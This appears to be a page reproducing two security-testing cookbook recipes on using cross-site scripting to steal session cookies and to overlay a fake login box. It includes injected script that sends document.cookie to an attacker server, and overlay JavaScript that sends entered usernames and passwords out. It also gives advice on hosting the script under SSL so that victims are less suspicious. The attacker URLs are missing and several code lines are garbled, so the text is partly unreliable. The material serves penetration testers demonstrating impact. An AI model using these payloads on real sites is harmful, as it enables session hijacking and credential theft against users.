Multifaceted Tests : Stealing Cookies Using XSS & Creating Overlays Using XSS

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12/20/2011 5:29:56 PM

1. Stealing Cookies Using XSS

1.1. Problem

XSS may seem like a mysterious attack when given the standard detection mechanism of inserting an alert box into a web page. When you find XSS in an application, you may be called upon to demonstrate why it is really a problem. After all, simply showing that you can type <script>alert("XSS!")</script> into a search box and have the browser pop up an alert box is not particularly impressive. This is the first of three recipes that discusses common attacks performed using XSS. Since these three recipes are not meant to find XSS, but are meant to demonstrate its power, there is no pass/fail criteria for these recipes. You would follow these recipes only after finding out that the application is vulnerable to XSS.

1.2. Solution

Stealing a user’s cookie is the easiest real XSS attack. Inject something like the attack string in Example 1 into a vulnerable parameter.

Example 1. JavaScript for stealing cookie
<script>document.write('<img height=0 width=0 
src="' +
encodeURI(document.cookie) + '"/>')</script>

This will create a link like the one in Example 2. The script will be executed when you click on the link.

Example 2. Sample malicious URL for stealing cookie

1.3. Discussion

Before attempting this attack, you will need to set up a web server somewhere (such as as suggested in Example 1).Ensure that a file called cookie_log exists in the appropriate location on your web server. It does not actually need to log anything because the HTTP server will do the logging for you.

In the solution, you may need to experiment with various syntactic issues to get the attack to work. You may need to use characters such as ', ", and > to break out of existing HTML tags so that you can inject your script. View the HTML source of the web page to determine whether your input is resulting in syntactically correct HTML. Now, whenever that script executes, it will send the user’s session cookie to, which is controlled by the attacker. To view the cookies, simply view the httpd log files on your web server ( or create a script called cookie_log that logs the parameters sent to it. Then, to gain access to that user’s session, URI-decode the cookie and use a tool such as the Firefox Edit Cookies extension to add it to a browser. Then, you will be able to access the web application as the authenticated user from that browser.

2. Creating Overlays Using XSS

2.1. Problem

The second common attack that uses XSS is creating overlays on the target website such that the victim users believe that they are on the intended website, but the view is in reality being controlled by the attacker. This attack exploits the victim’s trust when viewing the intended website in the address bar in their browser.

2.2. Solution

To create complex attacks, it is much easier to create your scripts at a separate site ( and then include them in the target site by injecting something such as the attack string shown in Example 3.

Example 3. Inserting JavaScript file from another server
<script src=""></script>

This is much easier (and less likely to make victims suspicious) than attempting to fit a one-page JavaScript exploit into one HTTP parameter. Create the script shown in Example 4 and make it accessible at (or whatever your attack site’s URL is).

Example 4. JavaScript for creating overlay
var LoginBox;
function showLoginBox() {
var oBody = document.getElementsByTagName("body").item(0);

LoginBox = document.createElement("div");
LoginBox.setAttribute('id', 'login_box'); = 400; = 200;'red solid 10px'; = 0; = 0; = "absolute"; = "100"; = "#FFFFFF"; = "block";
LoginBox.innerHTML =
'<div><p>Please Log in</p>' +
'<form action="#">' +
'Username:<input name="username" type="text"/><br/>' +
'Password:<input name="password" type="password"/><br/>' +
'<input type="button" onclick="submit_form(this)" value="Login"/>' +
'</form>' +

function submit_form(f) {
'<img src="' +
encodeURI(f.form.elements['username'].value) + '&password=' +
encodeURI(f.form.elements['password'].value) + '" width="0" height="0"/>'; = "none";


2.3. Discussion

The file login_overlay.js can be as complex as needed. Example 4 is one of the building blocks for creating a convincing exploit. To actually carry out the exploit, a lot of additional JavaScript code would be required to perform other operations such as resizing and positioning the overlay depending on the browser’s window size.

The JavaScript code in Example 4 will display a login box when the user first clicks on a link provided by the attacker. The login box created by this particular script may not be very convincing, but adjusting the fonts, colors, and other details to make it match the style of the target web application would make it convincing. The attacker’s goal is to convince the user that she is looking at a real login page. The fact that the user sees the expected site in her address bar works in the attacker’s favor. If the user enters her credentials into the login box, they are sent to

Protecting JavaScript with SSL

If the site is SSL-protected, then the JavaScript file should be hosted on a server that has a valid SSL certificate signed by a certificate authority trusted by the victim’s browser. Otherwise, the victim’s browser will warn him about the page containing some content served over HTTPS and some over plain HTTP. If the file is hosted on a server with a valid SSL certificate, then the victim’s browser will show the typical padlock icon, further convincing the average user that he is safe and on the intended site.

You may want to set up a script at to record the credentials. However, this is not necessary when using many web servers, such as the Apache HTTP server. As long as the file credentials_log exists, the requested URL (which contains the credentials) is logged in the standard Apache request log.
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